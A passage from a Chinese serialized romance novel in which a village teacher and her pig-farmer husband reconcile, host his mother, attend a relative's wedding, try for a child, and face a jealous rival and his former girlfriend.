思绪回笼,见许铭荣还在等着她的回答,温欣怡粲然一笑:“方便!很方便!我会好好招待她的。”
听到这话,许铭荣悬着的心松懈下来。
为了挽回形象,温欣怡和许铭荣将屋里屋外打扫了一遍,还做了一桌饭菜欢迎婆婆的到来。
是日,当温欣怡热情地迎上来,笑得跟朵花一样,许妈怀疑她是神经错乱或者被什么东西附身了。
受宠若惊。
“婆婆,一路辛苦了,我还想着过几天和铭荣去看你呢。”温欣怡贴心地端过来一杯金银花茶,“先润润喉。”
“哦,好。”见她如此客气周到,许妈手脚都不知道放哪了。
“欣怡啊,我听说你爸妈出了事,就赶紧来看看,现在他们怎么样了?”说起这事,徐妈瞪了许铭荣一眼,“你这臭小子也没跟我们说一声。”
“就我养弟想害我爸妈,没害成,现在他被抓去坐牢了。”温欣怡说道,“住院期间,多亏了铭荣的照顾。”
说实话,关于娘家的事,温欣怡的确没想到要跟婆家那边说什么。
现在一想,好歹是亲家,是好是坏都该说一声的。
“他作为女婿,该使唤就使唤,这次我带了一些山货过来给你爸妈补补身体。”许妈转头说,“铭荣,下午搭我去温家村看看。”
“行。”
“谢谢婆婆。”她越是关切,温欣怡越是惭愧。
“不,不用谢。”许妈对于温欣怡的示好百般不适应。
当看到桌上满满当当色香味俱全的一碟碟菜时,许妈更是目瞪口呆,这招待她的规格是前所未有的高啊。
“做那么多菜,我们三人吃不完。”许妈话刚落,想到温欣怡应该不喜欢听,心一紧,小心翼翼地觑了她一眼,讪笑道,“吃不完也没关系,我打包点回去吃。”
“家里买了冰箱,放不坏。妈要喜欢吃我做的菜,留下来住也可以。”温欣怡提议道。
听此,许妈看向许铭荣,眼神示意,似乎想弄清楚温欣怡究竟是为何会有这般变化。
竟然还会挽留她留下来住,真是太阳从西边出来了。
许铭荣:“妈,你想留就留。”
许妈:“那我就留下来住几天。”
她也想看看这两人是不是在演戏,或者在密谋着什么,毕竟不久前还说要离婚的,她都想着要给儿子介绍第二春了。
两个小时后,一辆摩托车往温家村开去。
见了温欣怡的爸妈,许妈总算不那么拘谨了,话都多起来。
见他们聊得正嗨,温欣怡靠近许铭荣,悄声道:“我们出去走走?”
许铭荣起身,往院子外去。
温欣怡亦步亦趋,手一伸,偷偷牵住了他的手。
看着这一幕,双方的父母不约而同笑起来。
温妈嘿嘿笑:“他们现在感情好了,喜欢黏在一起。”
许妈哈哈笑:“看来明年能抱个大孙子。”
温爸呵呵笑:“我喜欢外孙女。”
19. 粗鲁屠夫VS傲慢老师
两人一起散步,温欣怡想起上次聊着聊着起了争执,最后不欢而散的场景。
后来是怎么和好的呢?
是在得知她的爸妈有可能会被谋害的时候,许铭荣没再将她当隐形人,对于谢凯到家回报情报时没再板着一张脸。
从最开始的不相信到最后积极参与讨论,许铭荣暗中也开展了调查。
虽然没有查出温伟华有什么异常,但他隔三岔五去温家村探望二老的频率高了。
温欣怡也没再瞒着他什么,有事都和许铭荣有商有量。
日子稀松平常,大概是心有所喜,看什么都觉得美好,做什么都感到开心,有时一个对视就能叫她心花怒放。
在小小的房子里,恍若有粉色的泡泡漂浮在空气之中,感情在时间的流逝中加深。
只是,不知道许铭荣在别扭什么,温欣怡明示暗示的招数都使了,他就是不想和她同床睡觉。
这次婆婆驾到,温欣怡看他还要躲到哪儿去睡!
一想到他任由她“蹂躏”的场景,温欣怡不由得笑出声。
许铭荣一脸疑惑,为避免冷场尴尬,他绞尽脑汁找话题,刚刚聊起了母猪的产后护理,这戳中了她的笑点吗?
好一会儿没听见他说话的声音,温欣怡后知后觉回过神来:“干嘛这样看着我?你刚刚说什么来着?”
“没什么。”许铭荣想到像温欣怡这样的女生,哪里会对养猪感兴趣?养猪卖猪的他,粗鲁又污脏,很好笑吧?
思此,他说不下去了。
可她喜欢的漂亮衣服、爱看的书、教学上的问题……关于她的种种,许铭荣并不了解,也不知道怎么展开那些话题聊下去。
“说啊,刚刚你是说为促进乳汁分泌,要帮母猪按摩吗?”过耳的话还有点模糊的印象,温欣怡做出一副侧耳倾听状。
“你听了不觉得无聊吗?”李铭荣问。
“不会啊,挺有趣的,没想到养猪也有那么多学问。”温欣怡嘿嘿一笑,问道,“是人工按摩吗?”
“必要时要人工帮忙。”许铭荣老实回答。
“你的手?”
温欣怡想象他这么一个大男人是如何认真专注帮母猪按摩,再联想到之前在他的大掌揉捏下,某些不可描述的画面,觉得不能直视那双手了。
她的脸肉眼可见的红起来。
“啊!!!我不想听这个了!”温欣怡捂着脸,娇蛮的语气透着股色厉内荏的别扭。
像只突然炸毛的猫咪,怎么看怎么可爱,让人忍不住想揉一揉她的脑袋。
许铭荣略一思考,这一瞬间和温欣怡的思路接上了,旖旎的画面在脑海中浮现。
“咳咳——那你说说为什么想要当老师?”许铭荣生硬地转移话题。
温欣怡:“刚开始是因为我爸妈觉得当老师好,现在习惯了当老师,觉得也还不错。”
聊起这个,温欣怡打开了话匣子,说刚任教时想着和学生交朋友,没想到后来被学生骑在了头上,管教不了,天知道那时她有多崩溃。
说起和学生斗智斗勇的经过,说上三天三夜都说不完。
日积月累,在实践之中,温欣怡摸索出了一套适合自己的教学方式,现在只消一个眼神,就能镇住学生。
这变化不可谓不大。
许铭荣听得津津有味,满心佩服:“你很厉害!”
温欣怡摆摆手,满是谦虚:“低调低调。”
东一榔头,西一棒槌。
两人不再刻意制造话题,想到什么就说什么,上一句还在说国家大事,下一句就聊到了小时候差点儿掉下的水井。
她是被爱包裹着长大的,口中的过往是幸福快乐的,即使有时遇到困难,会短暂感到难过,但永远不会恐惧,因为家人是她坚实的后盾。
许铭荣仿佛看到了一个女孩是怎样快乐成长,在嫁给他之后,却变得郁郁寡欢。
好在,这朵花没有枯萎,虽不知什么缘由焕发生机、重新绽放光彩。
一切都往好的方面发展。
随着和她的亲近,对她的喜欢也与日俱增。
许铭荣在感受到幸福的同时,忐忑着将来要是她不跟他好了,他又该如何是好。
他清晰地知道现在自己的心情因她的变化而变化,这样下去,要是未来的某天,她说要离婚,他不确定自己会不会做出什么同归于尽的举动。
他已经很努力地在克制情感了。
但对于温欣怡的亲近,他真得很难拒绝。
这些日子,许铭荣看出温欣怡很馋他的□□了,那些明里暗里勾引他不是不懂,只是越难得到的越让人念念不忘。
他就是要吊着她,让她也尝尝抓心挠肝的滋味。
或许现在温欣怡的确对他有几分喜欢,许铭荣能感受到几分纵容之意,像要求证什么,说道:“谢凯有钱有貌,你真的不心动吗?我看得出,他对你是真心的。”
温欣怡仰头看了他一眼,悠悠道:“对耶,仔细想想,谢凯真的很不错,嫁给他应该过得也不错。”
“你……”许铭荣想听的不是这些话,闷闷道,“你真是这么想的?”
“哟哟,谁的陈年老醋打翻了,我怎么闻到酸酸的味道?”温欣怡用手在鼻翼间挥了挥,好笑道。
“只要你好,我怎么都行。”许铭荣一本正经地说,端的是毫无私心的态度。
“这话你说的,我记得了。”温欣怡也郑重其事地回道。
“我……”许铭荣有种搬起石头砸自己的脚的感觉,好端端的提什么谢凯,现在温欣怡发现谢凯比他更好了吗?
“好了,不逗你了。谢凯还是其他男人,千好万好,但只有一个你会为我付出生命。往后余生,我只会是你的老婆,只要你不离,我定不弃。”温欣怡说完这番煽情的话,自己的鸡皮疙瘩先起来了。
她如此信誓旦旦,许铭荣彷佛吃下了一颗定心丸,说不感动是假的。
温欣怡本来想给他一个爱的抱抱,但瞥见有人走过来,伸出的手拐了个弯收回来。
“春秀姨,吃了吗?”温欣怡打招呼道。
“吃了。”春秀八卦的眼神滴溜溜在两人的身上转,贼兮兮地笑道,“欣怡你嫁给猪肉荣真是嫁对了,看你吃得肥嘟嘟的,夜里猪肉荣没少拉你到床上运动吧。”
“春秀姨,我又没吃你家的饭,肥不肥也不关你的事,有空还是多多关心关叔的身体吧。”温欣怡有点怵和这种三句有两句不离男女那点事的人打交道,偏春秀姨在这方面尤甚。
温欣怡懵懂之时,春秀姨因为光叔短小问题,天天骂他是窝囊废、不中用,这在温家村是出了名的。
也可以说,春秀姨是村中很多女生的性启
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蒙来源。
“那死老头要死就死,跟着他我就没享过福!”春秀姨没听出她的不耐烦,大大咧咧道,“要不怎么说你嫁得好……”
她大有吐苦水的趋势,温欣怡头皮发麻,赶紧借口道:“春秀姨,时间不早了,我还要回许家村,就不聊了。”
说完拉着许铭荣走得飞快。
*
吃完饭,大家又闲聊了一会儿,眼见太阳快下山,到了说再见的时候。
摩托车在乡间的小路上行驶,温欣怡坐在中间,环抱着许铭荣的腰,而她的腰被婆婆抱住。
这一刻,爱与被爱在同时发生,有什么东西在悄悄改变着。
……
夜幕降临,万物静默,弯月如钩,该睡觉了。
温欣怡趁许妈去洗澡的功夫,将许铭荣的被子抱回她的房间。
见许铭荣看过来,温欣怡挺了挺腰,说:“难道你想让婆婆知道我们分床睡吗?”
许铭荣:“她不早知道这个了。”
“那是以前的事。”温欣怡一副你不答应我跟你闹的模样。
“好吧好吧,听你的。”许铭荣无奈妥协。
“哼!你今晚就等着我的宠幸吧!”温欣怡抱着被子,打了胜仗般昂首挺胸在经过时将他撞了个趔趄。
许铭荣看着她拽拽的背影,嘴角忍不住扬起。
“在傻笑什么?”许妈一走进客厅,就见到许铭荣对着空气笑得诡异。
许铭荣敛起笑容:“没什么,我去洗澡。”
温欣怡给许妈铺了一床新被子,还贴心地点了蚊香。
“行了行了,别忙活了,去睡吧。”许妈得知两口子睡一起,看来温欣怡真的改变了,心里的石头落地。
温欣怡回到房间,见许铭荣平躺在床上,隔着床帘,增添了一层朦胧感,她玩心大起。
将门一关,温欣怡表情猥琐,桀桀桀笑起来,搓着手,一蹦三跳,脚一甩,鞋一脱,泰山压顶般将底下的人压了个结实。
许铭荣忍不住闷哼了声。
“嘿嘿嘿,美人,我来了!”温欣怡野狗啃食般乱亲一顿。
“不要,你不要这样。”许铭荣脑袋躲闪着。
“不要这样是哪样?”温欣怡亲了一下他的脸颊,“不要这样吗?”
再亲亲他的嘴唇:“还是不要这样?”
又亲了亲他的喉结:“或者不要这样?”
……
亲来亲去,许铭荣抗拒的力量可忽略不计。
之前他可不是这样的,不是用被子将她卷起来不能动,就是背过身,怎么都掰不动。
现在她轻轻松松就在他身上为所欲为,明白他是欲拒还迎这一点,温欣怡兴奋得血液都要沸腾起来。
温欣怡将许铭荣当作是大型玩具,还要他配合演女纨绔调戏娇弱男美人的戏码。
“表情再愤怒一点,红着眼流泪能不能?”
“算了,你不适合这个表情……”
“你不能那么大力的推我,要表现出害怕我又不得不讨好我。”
……
在温欣怡的调教下,许铭荣的演技——
他没有演技,全靠真情流露。
最后在温欣怡的威逼利诱下:“伺候好本姑娘,重重有赏,不然要你好看!”
许铭荣卖力耕耘了一整夜。
20. 粗鲁屠夫VS傲慢老师
许妈和许铭荣的兄弟住在温家村的上村,自和温欣怡闹掰分家后,就很少会到下村去看小两口。
哪怕有时过来看看儿子,许妈也是偷偷摸摸的,不敢多待,怕温欣怡看到会生气,或嫌弃她粗手粗脚弄乱了屋子物品的布局,可谓是如坐针毡。
现在温欣怡如脱胎换骨,对她不再是眼不是眼,鼻子不是鼻子,许妈能感受到她的真诚与尊重,那些高高在上的疏离感不再有。
抛开偏见,放下埋怨,婆媳俩都觉得对方是个不错的人,还约定好要多多来往。
在小两口的家住了三天,许妈不愿再当电灯泡,也惦记着田里的庄稼,哪怕温欣怡再三挽留,还是决定收拾东西回去了。
“婆婆,这是对治疗风湿病的膏药贴,我同事的爸爸用了很有效,你拿回去试试,平时多注意休息。”
“我做了一些酥饼,你带回去给大家吃。”
“以后放假,我会和铭荣回去看你们。”
“……”
温欣怡将准备好的大包小包往许妈的手上塞,言语满是关切。
许妈推托几下后顺势收下,摩托车猛地扬长而去。
“你这臭小子,开那么快干什么!”许妈拍了拍许铭荣的后背。
“还让你们说来说去,天黑都说不完。”经过这三天的相处,婆媳俩俨然成了好朋友,许铭荣有时想插话都插不上。
“欣怡说这个冬天给我和你爸各做一件大衣,到时我就是村里最时髦的老太太。”温欣怡的眼光好,做衣服的手艺好,许妈对她有一层看文化人做什么都厉害的滤镜。
许妈已经迫不及待想回家分享这三天所发生的事。
“欣怡已经给我做了上衣裤子,大衣什么的,肯定也有我的份。”
许妈本意是想炫耀一番,没想到被噎了一嘴狗粮,无语道:“得了得了,知道你欣怡更疼你了。”
许铭荣没再说话,不过扬起的嘴角暴露出他的好心情。
许妈透过后视镜看到他那得瑟的样子,也笑道:“看到你们感情好,我就放心了。”
许铭荣很满意现在的生活状态,不用回到家再像根紧绷的弦不得放松。
家是温暖的港湾,他感受到了。
一天天过去,日历一张张被撕下去。
是日,良辰吉日宜婚娶。
说出来也不怕人笑话——
温欣怡的舅公今年76岁了,当鳏夫还没五个月,就急吼吼着要娶年轻时因为种种原因没在一起的白月光。
这件事在十里八乡引起了不小的轰动,人们当作是茶余饭后的笑谈。
支持的人认为真爱无敌,历经挫折磨难,有情人终成眷属,人生短暂,就不该留遗憾。
反对的人觉得一只脚都踏进棺材的人,哪还爱得动,而且如此大张旗鼓办婚礼,是对旧人的不敬。
任由众说纷坛,舅公只一心想娶新媳妇,新四大件、三金作为彩礼给足,还通知了各个亲戚,直言不来就是不给他面子,以后没得亲戚做。
可见舅公对新媳妇是百般维护,在结婚当天,更是叫来几辆汽车去接新媳妇。
婚礼盛大而隆重。
温欣怡和许铭荣到达婚礼现场时,舅公在众人的起哄声中,和新媳妇玩着游戏——
一颗苹果用线吊着在新人中间,新人长大嘴巴去咬一口,线快速上拉,新人重重地亲了一口,没想到磕掉了一排假牙出来。
这样充满喜剧性的场景一下子将气愤推向高潮,吹口哨声、鼓掌声、欢笑声……声声不绝于耳。
众目睽睽之下,舅公不见害羞,那张布满皱纹的脸笑起来跟朵菊花一样,浑身上下散发着当新郎官的得意。
他笑呵呵着将假牙重新装上,又投入到下一轮游戏之中。
温欣怡看着辣眼睛,正想去别处转转。
“欣怡,这里,快来。”表姐在不远处招手。
望过去,一堆表兄弟姐妹正围坐一起嗑着瓜子聊天。
温欣怡赶忙走过去坐下。
“我看这个新舅母很有手段,听说现在家里的财政大权都被她掌握在手里。”一个表姐说。
“但见新人笑,那闻旧人哭。以前的舅母辛苦操劳,和舅公白手起家才有现在的风光,可惜她没享受到几年。”
“男人嘛,要挂到墙上才老实。”
“欸,你别一竿子打翻一船人,我可是好男人。”
“……”
表姐表哥们各抒己见,自家人也看自家人的热闹。
温欣怡加入哼哼:“之前的舅母省吃俭用,现在的舅母穿金带银,我觉得好讽刺。”
“所以说,女人还是要对自己好点,你舍不得花,总有别的女人替你花。”
温欣怡点头附和:“我对自己向来很好。”
“欸,欣怡,看你家男人呆头呆脑地站在哪儿,好傻。”旁边的表姐用胳膊肘撞了撞她,笑道。
“哪里呆?他只是不爱笑而已,这叫稳重。”温欣怡不服地辩解。
“呦呦呦,这就护上了,之前你可不是这样的。”表姐揶揄道,“你不是说他最粗鲁,最讨厌吗?”
“那是我的偏见,现在我觉得他最可爱,你们可不许再笑话他。”温欣怡一副护犊子模样,仿佛谁说许铭荣的不好,她就要跟谁争论一番。
听到这番话,其余的人面面相觑,在他们的印象中,温欣怡一提起许铭荣,该是不屑厌烦的,因为不喜欢他,所以不想给他生孩子的打胎狠人。
紧接着,只见温欣怡哒哒走过去将许铭荣拉过来坐下,帮忙拉业务道:“以后大家摆酒办宴,需要猪肉的,欢迎订购,采购多的还送货上门,优惠多多,亲情价还可打折。”
“温欣怡,你要改行卖猪肉啊?夫唱妇随,挺好的。”
“赚钱不寒碜,卖猪肉也没什么不好。”温欣怡曾经最讨厌和许铭荣挂上钩,但现在将亲朋好友都当做是买猪肉的潜在客户,这次婚宴上,舅公就定了三头猪。
“国华表哥,你开那么大的厂,照顾一下我老公生意呗。”温欣怡顺势说道。
“行啊,聊聊。”反正每天员工餐肉类需求大,梁国华看向许铭荣,点了点头。
两人到另一边聊去了。
……
看着他们相谈甚欢,温欣怡脑海中浮现出另一个画面——
人情往来,许铭荣有时会和她一起去娘家那边的亲戚参加酒席,大多数时候,温欣怡故意将他冷落在一边,和别人一起取笑他的缺点。
热闹喧嚣的背景里,许铭荣孤零零的身影现在想来真是太可怜了。
这样孤立的行为真的很过分,温欣怡在心里忏悔,想着要好好补偿他。
“要开台了,大家不要关顾着聊天,快去找位置坐。”温妈吗过来喊道。
“走走走。”
大家纷纷起身。
看着桌上的菜肴,宾客们不由得再次感慨新郎大手笔,不管心里怎么想,但表面功夫都装得挺好,什么“老当益壮”“幸福美满”“喜结良缘”等祝福不要钱般涌向新婚夫妻。
桌上,见许铭荣耐心地剥虾给温欣怡和另一个小男孩,有人打趣道:“女人还是要生个小孩人生才圆满。欣怡啊,你看你老公多贴心,趁还年轻,赶紧生个小孩。”
“呵呵,这就不用你操心了。”温欣怡皮笑肉不笑。
话题就这样聊到催生上来,有人打赌舅公
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这把年纪还能不能生小孩,眼见车往高速上开,又有人提醒:“还有小孩在呢,别教坏小孩。”
“小孩听不懂。”那人辩驳,不过黄腔还是收敛了许多。
*
温欣怡见许铭荣照顾小孩的确有一手,他的责任心强,不管是当老公还是当爸爸,都足以胜任。
因为对他产生了爱意,所以想为他生儿育女。
这是温欣怡现在的念头。
只是生孩子这事,不是说努力耕耘就行。
温欣怡求神拜佛、行善积德、喝中药调理、健身运动……能做的都做的,但去医院检查都说身体没问题,可迟迟就是怀不上。
想起那个被打掉的孩子,温欣怡难免懊悔。
是不是因为觉得她当不好妈妈,才没有宝宝愿意投胎到她的肚子里?
虽然许铭荣宽慰她不要多想,只是缘分未到,但她陷入了执念,做梦都想着要孩子。
备孕期间,运动多了,许铭荣见到温欣怡腿都发软。
每每开始他都想着要节制,不可贪欢,每每最后都沉溺于温柔乡中,不能自拔。
因为研究怎么最容易受孕,两人还解锁了许多高难度姿势,也算乐在其中。
但光是耕耘没有收获,一次次满怀希望,一次次希望落空。
温欣怡甚至觉得若是生不了,耽误了他,离婚的念头再次升起。
一眨眼,又到了新的一年。
以往除夕,温欣怡和许铭荣都是各回各家,今年两人决定一起先去许家老宅,再到温家。
温欣怡没有再端着高高在上的态度,和许家人相处和睦,过年的气氛相较以往欢乐了许多。
而由于今年出了温伟华那档事,怕亲家见别人阖家团圆而伤感失落,许妈吃过饭后便催促小两口去温家村了。
两人去到温家时,温爸和温妈正坐在门口旁的石凳上,翘首以盼,脸上满是孤寂。
“爸,妈,我回来了!”温欣怡喊道。
“好好好,快进来,我和你爸做了一桌你爱吃的。”温妈见到亲爱的闺女,眼神一下子迸发光彩,赶忙迎上去,说着脑袋往她的身后看了看,疑惑道,“不是说铭荣也一起过来,怎么不见人?”
“摩托车在村口突然熄火,他找人修去了。”
“这样啊……”
“爸,妈,我给你们都做了一套新衣服,今晚就换上。”
“行行行,我和你爸就等着穿你做的衣服了。”
“……”
母女俩聊着琐碎的事,温爸在旁咧着嘴笑,美滋滋地喝着闺女带过来的美酒。
半晌,许铭荣修好摩托车过来了。
温欣怡和许铭荣贴对联的功夫,温爸和温妈提着拜公的鸡和酒、香、黄表纸去祠堂了。
等他们祭拜回来,一家人开始准备团圆饭……
“啾——嘭——”
一声尖锐的爆响后,漆黑的夜空绽放开一朵绚烂的烟花,美丽至极。
伴随着孩子的欢声笑语传来,年味在空气中飘荡,感染了在场的每一个人。
温妈看着天空中的烟花,下意识嘀咕:“不知道伟华过年有没有烟花看?”
“过两天你带点穿的和吃的去看看他,让他在监狱好好表现,看能不能早点放出来。”温爸接话道。
知道爸妈还对温伟华有所牵挂,温欣怡说不上是什么滋味,他们毕竟没有经历过那种家破人亡的绝望,她也不能强制控制他们的所思所念,于是睁一只眼闭一只眼,只要没受到伤害,随他们去折腾。
反正温欣怡是不打算原谅温伟华的。
“来来来,大家举杯同庆——”
“新年快乐!”
21. 粗鲁屠夫VS傲慢老师
这个新年,快乐并没有很持久。
当刘凤珍的身影频繁地出现在视线,温欣怡后知后觉事情变得不太对劲——
去走亲戚时,刘凤珍一起同台吃饭;
去许家老宅,刘凤珍和许妈在说笑;
去逛街买东西,刘凤珍也在一旁挑;
和许铭荣去约会,刘凤珍尾随偷看;
终于开学回到学校,温欣怡想着总看不到她了吧,没想到人家当上了体育老师;
……
大多数时候,只要温欣怡四处张望一番,总可以发现刘凤珍的身影。
如影随形。
一次偶遇,两次是巧合,三次是有缘,四次、五次……本是没有交集的两个人,却频频相遇,特别是当温欣怡发现刘凤珍开始学着她的穿着打扮、说话语气,说不是故意的都没人信。
温欣怡前天换上的新衣服,隔天同样的款式会出现在刘凤珍身上;有时无意说过的话,她照搬去和别人聊天;弄了个新发型,当天下班她就去了理发店……
只是每个人从小到大生长的土壤不一样,风格品味不能一蹴而就,她没学到精髓,照猫也画不成虎。
不知道刘凤珍哪里来的自信,面对温欣怡时,端的是我比你美比你牛的气势,还洋洋得意,太膈应人!
同事看热闹般,表面上没说什么,私底下连温欣怡都笑话上了。
“学人精真是太惹人厌了!”温欣怡气愤,但刘凤珍是个厚脸皮的,面对质问装傻充愣。
还说什么“有哪条法律规定我不能这样打扮吗?”“这条路又不是你家的,我凭什么不能走?”“我还说你学我呢,我可是村里一枝花。”“……”
气煞人也!
偏无可奈何!
只好眼不见为净!
但渐渐的,时间带来了真相——
兜兜转转,刘凤珍学她的目的还是为了接近许铭荣。
在知道温欣怡求子不成,可能是下不了蛋的母鸡后,刘凤珍和她的家人们就想着母凭子贵,哪怕上不了位,但只要为许铭荣生下一个孩子,没准下半辈子的荣华富贵有了。
自改革开放以来,随着经济的发展,人们对待男女关系也不再严防死守,笑贫不笑娼的风气在社会上蔓延。
“包二奶”的现象在沿海地区层出不穷,借腹生子的小广告更是明目张胆地贴在街头巷尾的墙上。
许铭荣是个潜力股,相信日后他一定会飞黄腾达成为大老板,刘凤珍不介意做他在外面的女人。
温欣怡自觉不会输给刘凤珍,并没有将她放在眼里。
但不久后,被现实狠狠打了脸——许铭荣有一次竟然对着刘凤珍的背影喊她的名字,他竟然会将自己的老婆认错,看他的动作,还想上手搂肩来着。
“许铭荣!”温欣怡那一刻只要一点火星就能点着爆炸,怒目而视。
温欣怡生气!
温欣怡委屈!
熟悉的怒吼从身后传来,许铭荣的心咯噔一跳,想伸过去的手立马缩回去,猛地转身一看,还疑惑着怎么有两个温欣怡。
“铭荣哥,好巧呀。”刘凤珍转过头,朝许铭荣眨了眨眼睛,语气亲昵。
“怎么是你?!”许铭荣上下打量了她一番,和温欣怡一模一样的打扮,皱了皱眉,直言道,“你穿成这样不好看。”
自从知道刘凤珍对他有意后,许铭荣就没再吃过她送的饭,还让刘父刘母不要再带她来猪场,可只要他和温欣怡去约会,准会遇见她,好几次想亲热时,冷不丁看见不远处有一双眼在偷窥,就什么心思都消了。
思此,许铭荣对她愈发没有好脸色。
“我不是你哥,以后叫我猪肉荣就行。”许铭荣纠正道。
察觉到他的不耐烦,刘凤珍脸上的笑容滞了滞。
说话的功夫,温欣怡来到了面前:“你们在聊什么?”
“老板,我爸下个星期六过五十大寿,到时想请你过去喝一杯。”刘凤珍还是换回了以前的称呼,没理温欣怡,看向许铭荣。
“再说吧。”
“你一定要来呀……”
温欣怡没再听下去,径直走了。
“欸,等等我。”许铭荣追上去。
温欣怡脚步迈得飞快,气哼哼:“聊啊,继续聊啊,怎么不聊了?”
“我跟她没什么好聊的。”许铭荣想牵她的手。
温欣怡大力将手甩开,质问道:“我跟刘凤珍很像吗?!你竟然把她认作是我,你若想我给她让位早点说!”
“这不是天有点黑看不太清,她又和你穿的一样,认错了也很正常。”许铭荣辩解道。
“人家说要真在意一个人,就是化成灰都认得,你不在意我才认不出我!”温欣怡一听他说的话,火更大了。
“以后我一定认得出你。”
“不信。”
“要是我再认错你,你怎么罚我都行。”
“不听不听。”
温欣怡现在就像只刺猬,竖起尖尖的刺,谁靠近扎谁。
许铭荣说不出什么动听的甜言蜜语哄人,只是夜晚更加卖力讨好她,回头还托人买了几个名牌包包。
夫妻之道——不是什么原则问题,有台阶就下。
温欣怡最后看在包的面子上,顺势原谅了许铭荣,还傲娇地警告:“下不为例。”
经此一事,许铭荣每次看到温欣怡都要睁大眼睛仔细瞧清楚确认了才敢上前,对刘凤珍是避而远之。
看着许铭荣在雨天给温欣怡送伞,他还来班上帮温欣怡震慑的调皮学生,周末两人去迪斯科跳舞……
每每看到这些画面,刘凤珍对温欣怡更加嫉妒了,恨不得以身替之。
但许铭荣防备着她,奈不了如何。
而因为心底确认是被许铭荣爱着的,温欣怡愈发有恃无恐地向他闹小性子。
直到刘凤珍突然带来了一个爆炸信息——
“在和你结婚之前,许老板有个对象,都谈论婚嫁了的,没想到被你插了一脚。你以为许老板真的喜欢你吗?你不过是他的将就。”
“他喜不喜欢我还用你告诉我吗?你再挑拨离间他也不会娶你。”温欣怡脸冷下去。
“那个才是许老板的真爱,你去查查就知道了,她最近从城里回来了,不知道会不会和许老板旧情复燃,你要警惕啊。”刘凤珍企图想从她的脸上看出一点崩溃的迹象,可惜她还很冷静,转身就走,一点想追问的念头都没有。
“呸!高傲什么?总有你哭的一天!”刘凤珍冲着她离去的背影唾了一口,幻想她被抛弃的画面,心里
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才好受了许多。
此时温欣怡并没有将这则信息放在心上,在她看来,哪怕有这么一个人,但那肯定是他爸妈让相亲认识的,没什么感情,不足为惧。
许铭荣是喜欢她的,温欣怡笃信,他爱她胜过生命。
然而打听之后,被事实狠狠地打了脸——
那个女孩叫刘溪婷,是许铭荣的初中同学,在学生时代,两人就谈起了恋爱。
刘溪婷家里穷,平时的学费和学杂费都是许铭荣出的。
开始许家对许铭荣这么帮一个女孩不是没有意见,不过许铭荣说以后要娶她,就当提前养媳妇了,这才平息家里的怒火。
许铭荣自己省吃俭用,但愿意出钱出力支持刘溪婷读书,没想到一朝她考上大学后,见识过花花世界,心也野了。
不过还在读书没有经济来源,刘溪婷就吊着许铭荣,当是冤大头般要钱要物,还画大饼说毕业就嫁给他,哄得他赚的钱都送出去了。
然而刘溪婷傍上一个富二代后,立刻翻脸不认人,澄清关系,暗搓搓表示许铭荣配不上她了,他要有自知之明,还说好聚好散,希望得到他的祝福。
许家人得知刘溪婷这般做派,一个个义愤填膺去她家讨公道,刘溪婷的家人怕误了女儿攀高枝,给了一大笔钱出去。
还说许铭荣是“癞蛤蟆想吃天鹅肉,人往高处走有什么错……”
各种贬低的话如箭雨般刺向许铭荣,还被骂:“你一个大男人这样纠缠一个小女人,贱不贱啊?”
听到这样侮辱的话,许家人握起拳头就砸过去。
两家就这样打起来,你一拳我一脚,哪家都不服哪家。
刘家认为既然还清了账,许家就不应该再计较,但许家认为账不是这么算的。
不带这么欺负人!许家人不服!
不曾想闹到最后,被抓到牢里蹲了三天的是许家人。
因为刘溪婷榜上的那个富二代家里有点权势,不过一句话,摁死他们就像摁死蚂蚁。
民不与官斗。
这个道理自古都说了。
许家人不服也得服。
自那以后,刘溪婷这个名字在许家就是个禁忌。
听完他们的故事,温欣怡在心里重新定义了一下——
刘溪婷=许铭荣的旧爱。
一想到刘溪婷在许铭荣的人生中并不是无关要紧的人物,是爱而不得的曾经,她的心一阵刺痛。
没想到许铭荣自小就是个情种,他大概很喜欢那个女孩吧,最后还是选择成全她,虽然是过去的事,但现在真的不再喜欢了吗?
温欣怡胡思乱想着。
要是自己被这般辜负,温欣怡想她会鱼死网破,就不信那富二代真能只手遮天,得知那些过往还能毫无芥蒂地跟刘溪婷好,还有学校真的会包容这样品行恶劣的人吗?
下班回到家,看到许铭荣已经把晚餐准备好了,就等着她一起吃。
他话还是不多,会细心地帮她挑鱼刺,这是爱她的表现吧?
好几次,温欣怡都想问一问:“你现在对刘溪婷是什么感觉?爱我比爱她多吗?”
“怎么了?”许铭荣见她盯着自己,疑惑道。
“没什么。”温欣怡将一个个问题压下心口,害怕听到不想听的答案。
22. 粗鲁屠夫VS傲慢老师
温欣怡静下心来,点点滴滴的日常在脑海中循环播放,抽丝剥茧般,她发现了一些不曾注意的细节——
很多事都是她在说在做,自以为是,自作聪明,不曾问过许铭荣的意见和喜好。
就像当初要结婚的缘由,心底明知很大一部分过错在自己,但却去责怪许铭荣分担痛苦;
明明都闹离婚了,转头她又说好好过日子;
接着不管三七二十一改变屋子的布置、矫揉造作地求欢、蛮横霸道地打乱他的生活节奏……
她好像,很少问他喜不喜欢、愿不愿意。
许铭荣或许不过是看在安稳的日子上,对她迁就、忍让而已。
温欣怡在这一刻悲哀地认清了一个事实——
许铭荣对他好,不过因为她是他的老婆。
哪怕不是他喜欢的人,但只要当了他的老婆,他都会善待关照她。
他就是这么一个人品好、有责任心的男人。
这点温欣怡是确信的。
两情相悦在他们之间似乎是没有的。
过日子嘛,不讲究情情爱爱也是可以的,世上很多对夫妻没有相爱却携手共一生的情况屡见不鲜。
哪怕开始爱得死去活来,最后相看两厌恶的结局见惯不惯。
温欣怡安慰自己不要那么计较,看开点,许铭荣这样就很好了——给钱花、顾家能干、不打女人、没有花花肠子……
他身上的优点多多,是世俗上会被人称赞打着灯笼都难找的好男人。
有这样的人当老公,她该知足的。
可是,为什么心却是空落落的难受?
她在不甘心什么呢?
为了好受些,温欣怡不得不调整心态。
现在自己才是许铭荣的老婆,刘溪婷是过去式了,人总要往前看,揪着那些事不利于夫妻感情。
想明白这一点,温欣怡面对许铭荣时再次拾起笑容。
只是当知道给她调养身体的妇科医生是传闻中的刘溪婷时,温欣怡的笑容凝固了。
难怪总觉得刘医生看她的眼神略显不自在与探究,且对许铭荣的言行透着股亲昵熟稔。
当时温欣怡不解其意,只当她身为医者尽心尽责,如今明了不是那么一回事。
那许铭荣现在对刘溪婷是什么样一种感觉呢?
旧情难忘想再续前缘?
还是你走你的路,我过我的桥当是陌生人或最熟悉的朋友?
老死不相往来?至今来看好像不太可能。
因为备孕的事,让许铭荣和刘溪婷再次有了交集。
记得有人是这样向温欣怡介绍刘溪婷的——
